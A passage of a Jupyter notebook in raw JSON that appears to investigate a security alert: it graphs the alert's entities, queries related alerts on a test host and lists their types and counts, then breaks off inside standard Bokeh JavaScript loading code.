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\n", "text/plain": [ "
" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "# Draw the graph using Networkx/Matplotlib\n", "%matplotlib inline\n", "alertentity_graph = asi.create_alert_graph(security_alert)\n", "nbdisp.draw_alert_entity_graph(alertentity_graph, width=15)" ] }, { "cell_type": "code", "execution_count": 41, "metadata": { "tags": [ "future" ] }, "outputs": [], "source": [ "# from pyvis.network import Network\n", "# import math\n", "# # import networkx as nx\n", "# # G = Network()\n", "# # G.from_nx(alertentity_graph)\n", "# import holoviews as hv\n", "# hv.extension('bokeh')\n", "# %opts Graph [width=900 height=900]\n", "\n", "# %opts Graph [color_index='circle']\n", "# %opts Graph (node_size=20 edge_line_width=1)\n", "# %opts Graph [tools=['wheel_zoom', 'hover']]\n", "# padding = dict(x=(-1.2, 1.2), y=(-1.2, 1.2))\n", "\n", "# n_nodes = len(alertentity_graph.nodes)\n", "# k = 1 / (math.sqrt(n_nodes))\n", "\n", "# # hv_graph = hv.Graph.from_networkx(nx_graph, nx.layout.spring_layout, k=k).redim.range(**padding)\n", "# hv_graph = hv.Graph.from_networkx(alertentity_graph, nx.layout.spring_layout, k=k).redim.range(**padding)\n", "# labels = hv.Labels(\n", "# {('x', 'y'): hv_graph.nodes.array([0, 1]), 'text': hv_graph.nodes.data['name']}, ## 'label' can be an array: has to be correct size!\n", "# ['x', 'y'], \n", "# 'text').options(fontsize=8, cmap='viridis', yoffset=0.05)\n", "# hv_graph*labels" ] }, { "cell_type": "markdown", "metadata": { "tags": [ "todo" ] }, "source": [ "[Contents](#toc)\n", "# Related Alerts\n", "For a subset of entities in the alert we can search for any alerts that have that entity in common. Currently this query looks for alerts that share the same Host, Account or Process and lists them below. \n", "**Notes:**\n", "- Some alert types do not include all of these entity types.\n", "- The original alert will be included in the \"Related Alerts\" set if it occurs within the query time boundary set below.\n", "\n", "The query time boundaries default to a longer period than when searching for the alert. You can extend the time boundary searched before or after the alert time. If the widget doesn't support the time boundary that you want you can change the max_before and max_after parameters in the call to QueryTime below to extend the possible time boundaries." ] }, { "cell_type": "code", "execution_count": 32, "metadata": {}, "outputs": [ { "data": { "application/vnd.jupyter.widget-view+json": { "model_id": "eb8728dd505d423a8dc38d3ff1cd5e34", "version_major": 2, "version_minor": 0 }, "text/plain": [ "HTML(value='

Set query time boundaries

')" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/vnd.jupyter.widget-view+json": { "model_id": "f09d223f9ee24a7290560c1169afeebd", "version_major": 2, "version_minor": 0 }, "text/plain": [ "HBox(children=(DatePicker(value=datetime.date(2019, 1, 15), description='Origin Date'), Text(value='05:15:20',…" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/vnd.jupyter.widget-view+json": { "model_id": "097a7fd3a0eb4502b3ca27be88f79969", "version_major": 2, "version_minor": 0 }, "text/plain": [ "VBox(children=(IntRangeSlider(value=(-5, 1), description='Time Range (day):', layout=Layout(width='80%'), max=…" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "# set the origin time to the time of our alert\n", "query_times = asi.QueryTime(units='day', origin_time=security_alert.TimeGenerated, \n", " max_before=28, max_after=1, before=5)\n", "query_times.display()" ] }, { "cell_type": "code", "execution_count": 35, "metadata": { "scrolled": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Found 43 different alert types related to this host ('MSTICALERTSWIN1')\n", " Anomalous account creation detected, Count of alerts: 1\n", " Azure Security Center test alert (not a threat), Count of alerts: 5\n", " Detected Petya ransomware indicators, Count of alerts: 5\n", " Detected actions indicative of disabling and deleting IIS log files., Count of alerts: 1\n", " Detected anomalous mix of upper and lower case characters in command-line, Count of alerts: 4\n", " Detected change to a registry key that can be abused to bypass UAC, Count of alerts: 1\n", " Detected obfuscated command line., Count of alerts: 3\n", " Detected possible execution of keygen executable, Count of alerts: 1\n", " Detected possible execution of malware dropper, Count of alerts: 1\n", " Detected possible local reconnaissance activity, Count of alerts: 1\n", " Detected potentially suspicious use of Telegram tool, Count of alerts: 1\n", " Detected suspicious Set-ExecutionPolicy and WinRM changes, Count of alerts: 1\n", " Detected suspicious commandline used to start all executables in a directory, Count of alerts: 1\n", " Detected suspicious execution of VBScript.Encode command, Count of alerts: 1\n", " Detected suspicious execution via rundll32.exe, Count of alerts: 2\n", " Detected suspicious file cleanup commands, Count of alerts: 1\n", " Detected suspicious file creation, Count of alerts: 1\n", " Detected suspicious named pipe communications, Count of alerts: 1\n", " Detected suspicious new firewall rule, Count of alerts: 1\n", " Detected suspicious use of Cacls to lower the security state of the system., Count of alerts: 1\n", " Detected suspicious use of FTP -s Switch, Count of alerts: 1\n", " Detected suspicious use of Pcalua.exe to launch executable code, Count of alerts: 1\n", " Detected the disabling of critical services, Count of alerts: 1\n", " Digital currency mining related behavior detected, Count of alerts: 3\n", " Executable found running from a suspicious location, Count of alerts: 9\n", " High risk software detected, Count of alerts: 1\n", " Possible credential dumping detected, Count of alerts: 1\n", " Potential attempt to bypass AppLocker detected, Count of alerts: 3\n", " Random process name detected, Count of alerts: 2\n", " Ransomware indicators detected, Count of alerts: 5\n", " Rare SVCHOST service group executed, Count of alerts: 5\n", " Sticky keys attack detected, Count of alerts: 1\n", " Suspected Kerberos Golden Ticket attack parameters observed, Count of alerts: 1\n", " Suspicious Account Creation Detected, Count of alerts: 3\n", " Suspicious Powershell Activity Detected, Count of alerts: 12\n", " Suspicious SVCHOST process executed, Count of alerts: 5\n", " Suspicious Volume Shadow Copy Activity, Count of alerts: 5\n", " Suspicious WindowPosition registry value detected, Count of alerts: 5\n", " Suspicious double extension file executed, Count of alerts: 5\n", " Suspicious download using Certutil detected, Count of alerts: 1\n", " Suspicious process executed, Count of alerts: 10\n", " Suspicious system process executed, Count of alerts: 5\n", " Suspiciously named process detected, Count of alerts: 4\n", "Found 42 different alert types related to this account ('MSTICAlertsWin1\\MSTICAdmin')\n", " Azure Security Center test alert (not a threat), Count of alerts: 4\n", " Detected Petya ransomware indicators, Count of alerts: 4\n", " Detected actions indicative of disabling and deleting IIS log files., Count of alerts: 1\n", " Detected anomalous mix of upper and lower case characters in command-line, Count of alerts: 3\n", " Detected change to a registry key that can be abused to bypass UAC, Count of alerts: 1\n", " Detected obfuscated command line., Count of alerts: 2\n", " Detected possible execution of keygen executable, Count of alerts: 1\n", " Detected possible execution of malware dropper, Count of alerts: 1\n", " Detected possible local reconnaissance activity, Count of alerts: 1\n", " Detected potentially suspicious use of Telegram tool, Count of alerts: 1\n", " Detected suspicious Set-ExecutionPolicy and WinRM changes, Count of alerts: 1\n", " Detected suspicious commandline used to start all executables in a directory, Count of alerts: 1\n", " Detected suspicious execution of VBScript.Encode command, Count of alerts: 1\n", " Detected suspicious execution via rundll32.exe, Count of alerts: 2\n", " Detected suspicious file cleanup commands, Count of alerts: 1\n", " Detected suspicious file creation, Count of alerts: 1\n", " Detected suspicious named pipe communications, Count of alerts: 1\n", " Detected suspicious new firewall rule, Count of alerts: 1\n", " Detected suspicious use of Cacls to lower the security state of the system., Count of alerts: 1\n", " Detected suspicious use of FTP -s Switch, Count of alerts: 1\n", " Detected suspicious use of Pcalua.exe to launch executable code, Count of alerts: 1\n", " Detected the disabling of critical services, Count of alerts: 1\n", " Digital currency mining related behavior detected, Count of alerts: 2\n", " Executable found running from a suspicious location, Count of alerts: 7\n", " High risk software detected, Count of alerts: 1\n", " Possible credential dumping detected, Count of alerts: 1\n", " Potential attempt to bypass AppLocker detected, Count of alerts: 2\n", " Random process name detected, Count of alerts: 1\n", " Ransomware indicators detected, Count of alerts: 4\n", " Rare SVCHOST service group executed, Count of alerts: 4\n", " Sticky keys attack detected, Count of alerts: 1\n", " Suspected Kerberos Golden Ticket attack parameters observed, Count of alerts: 1\n", " Suspicious Account Creation Detected, Count of alerts: 2\n", " Suspicious Powershell Activity Detected, Count of alerts: 8\n", " Suspicious SVCHOST process executed, Count of alerts: 4\n", " Suspicious Volume Shadow Copy Activity, Count of alerts: 4\n", " Suspicious WindowPosition registry value detected, Count of alerts: 4\n", " Suspicious double extension file executed, Count of alerts: 4\n", " Suspicious download using Certutil detected, Count of alerts: 1\n", " Suspicious process executed, Count of alerts: 8\n", " Suspicious system process executed, Count of alerts: 4\n", " Suspiciously named process detected, Count of alerts: 3\n", "Found 1 different alert types related to this process ('c:\\diagnostics\\usertmp\\ftp.exe')\n", " Detected suspicious use of FTP -s Switch, Count of alerts: 1\n" ] }, { "data": { "text/html": [ "\n", "
\n", " \n", " Loading BokehJS ...\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "\n", "(function(root) {\n", " function now() {\n", " return new Date();\n", " }\n", "\n", " var force = true;\n", "\n", " if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n", " root._bokeh_onload_callbacks = [];\n", " root._bokeh_is_loading = undefined;\n", " }\n", "\n", " var JS_MIME_TYPE = 'application/javascript';\n", " var HTML_MIME_TYPE = 'text/html';\n", " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", " var CLASS_NAME = 'output_bokeh rendered_html';\n", "\n", " /**\n", " * Render data to the DOM node\n", " */\n", " function render(props, node) {\n", " var script = document.createElement(\"script\");\n", " node.appendChild(script);\n", " }\n", "\n", " /**\n", " * Handle when an output is cleared or removed\n", " */\n", " function handleClearOutput(event, handle) {\n", " var cell = handle.cell;\n", "\n", " var id = cell.output_area._bokeh_element_id;\n", " var server_id = cell.output_area._bokeh_server_id;\n", " // Clean up Bokeh references\n", " if (id !== undefined) {\n", " Bokeh.index[id].model.document.clear();\n", " delete Bokeh.index[id];\n", " }\n", "\n", " if (server_id !== undefined) {\n", " // Clean up Bokeh references\n", " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", " cell.notebook.kernel.execute(cmd, {\n", " iopub: {\n", " output: function(msg) {\n", " var element_id = msg.content.text.trim();\n", " Bokeh.index[element_id].model.document.clear();\n", " delete Bokeh.index[element_id];\n", " }\n", " }\n", " });\n", " // Destroy server and session\n", " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", " cell.notebook.kernel.execute(cmd);\n", " }\n", " }\n", "\n", " /**\n", " * Handle when a new output is added\n", " */\n", " function handleAddOutput(event, handle) {\n", " var output_area = handle.output_area;\n", " var output = handle.output;\n", "\n", " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", " return\n", " }\n", "\n", " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", "\n", " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", " // store reference to embed id on output_area\n", " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", " }\n", " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", " var bk_div = document.createElement(\"div\");\n", " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", " var script_attrs = bk_div.children[0].attributes;\n", " for (var i = 0; i < script_attrs.length; i++) {\n", " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", " }\n", " // store reference to server id on output_area\n", " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", " }\n", " }\n", "\n", " function register_renderer(events, OutputArea) {\n", "\n", " function append_mime(data, metadata, element) {\n", " // create a DOM node to render to\n", " var toinsert = this.create_output_subarea(\n", " metadata,\n", " CLASS_NAME,\n", " EXEC_MIME_TYPE\n", " );\n", " this.keyboard_manager.register_events(toinsert);\n", " // Render to node\n", " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", " render(props, toinsert[toinsert.length - 1]);\n", " element.append(toinsert);\n", " return toinsert\n", " }\n", "\n", " /* Handle when an output is cleared or removed */\n", " events.on('clear_output.CodeCell', handleClearOutput);\n", " events.on('delete.Cell', handleClearOutput);\n", "\n", " /* Handle when a new output is added */\n", " events.on('output_added.OutputArea', handleAddOutput);\n", "\n", " /**\n", " * Register the mime type and append_mime function with output_area\n", " */\n", " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", " /* Is output safe? */\n", " safe: true,\n", " /* Index of renderer in `output_area.display_order` */\n", " index: 0\n", " });\n", " }\n", "\n", " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", " if (root.Jupyter !== undefined) {\n", " var events = require('base/js/events');\n", " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", "\n", " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", " register_renderer(events, OutputArea);\n", " }\n", " }\n", "\n", " \n", " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", " root._bokeh_timeout = Date.now() + 5000;\n", " root._bokeh_failed_load = false;\n", " }\n", "\n", " var NB_LOAD_WARNING = {'data': {'text/html':\n", " \"
\\n\"+\n", " \"

\\n\"+\n", " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", " \"

\\n\"+\n", " \"
    \\n\"+\n", " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
  • \\n\"+\n", " \"
  • use INLINE resources instead, as so:
  • \\n\"+\n", " \"
\\n\"+\n", " \"\\n\"+\n", " \"from bokeh.resources import INLINE\\n\"+\n", " \"output_notebook(resources=INLINE)\\n\"+\n", " \"\\n\"+\n", " \"
\"}};\n", "\n", " function display_loaded() {\n", " var el = document.getElementById(\"4eaae604-a3ed-4642-8edd-0de928aa1913\");\n", " if (el != null) {\n", " el.textContent = \"BokehJS is loading...\";\n", " }\n", " if (root.Bokeh !== undefined) {\n", " if (el != null) {\n", " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", " }\n", " } else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(display_loaded, 100)\n", " }\n", " }\n", "\n", "\n", " function run_callbacks() {\n", " try {\n", " root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n", " }\n", " finally {\n", " delete root._bokeh_onload_callbacks\n", " }\n", " console.info(\"Bokeh: all callbacks have finished\");\n", " }\n", "\n", " function load_libs(js_urls, callback) {\n", " root._bokeh_onload_callbacks.push(callback);\n", " if (root._bokeh_is_loading > 0) {\n", " console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", " return null;\n", " }\n", " if (js_urls == null || js_urls.length === 0) {\n", " run_callbacks();\n", " return null;\n", " }\n", " console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", " root._bokeh_is_loading = js_urls.length;\n", " for (var i = 0; i < js_urls.length; i++) {\n", " var url = js_urls[i];\n", " var s = document.createElement('script');\n", " s.src = url;\n", " s.async = false;\n", " s.onreadystatechange = s.onload = function() {\n", " root._bokeh_is_loading--;\n", " if (root._bokeh_is_loading === 0) {\n", " console.log(\"Bokeh: all BokehJS libraries loaded\");\n", " run_callbacks()\n", " }\n", " };\n", " s.onerror = function() {\n", " console.warn(\"failed to load library \" + url);\n", " };\n", " 